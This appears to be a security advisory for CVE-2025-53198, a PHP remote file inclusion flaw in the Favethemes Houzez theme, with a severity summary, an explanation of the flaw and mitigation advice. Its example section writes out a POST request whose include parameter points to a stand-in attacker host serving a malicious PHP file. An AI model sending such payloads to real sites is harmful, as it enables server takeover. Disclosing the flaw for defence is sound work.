Overview
A significant security vulnerability has been identified in the Favethemes Houzez PHP program, which affects all versions up to 4.0.4. This vulnerability, identified as CVE-2025-53198, is related to an improper control of filename for Include/Require Statement, also known as a PHP Remote File Inclusion. Given the ubiquity of PHP in web development, and particularly the widespread usage of Favethemes Houzez, this vulnerability could potentially affect a large number of websites and their users. The severity of this issue is further compounded by its potential for system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-53198
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Favethemes Houzez | Up to 4.0.4
How the Exploit Works
The vulnerability arises from improper control of filename for Include/Require Statement in the PHP program. This can allow an attacker to inject a file from a remote server, circumventing the need for local file inclusion. In essence, the attacker can manipulate the PHP ‘include’ or ‘require’ statement to reference a specific file on their own server, effectively running their own code on the targeted system.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include=http://attacker.com/malicious_file.phpIn this hypothetical example, the attacker sends a POST request to the vulnerable endpoint on the target server. The ‘include’ parameter references a malicious PHP file hosted on the attacker’s server. If the server is vulnerable, it would download and execute the malicious PHP file, granting the attacker control over the server.
Mitigation
To mitigate the risk posed by this vulnerability, users are urged to apply the patch provided by the vendor. In cases where immediate patching is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by monitoring and potentially blocking suspicious activities. However, these measures should be considered temporary, and it is strongly recommended that the vendor’s patch be applied as soon as possible to fully address the vulnerability.
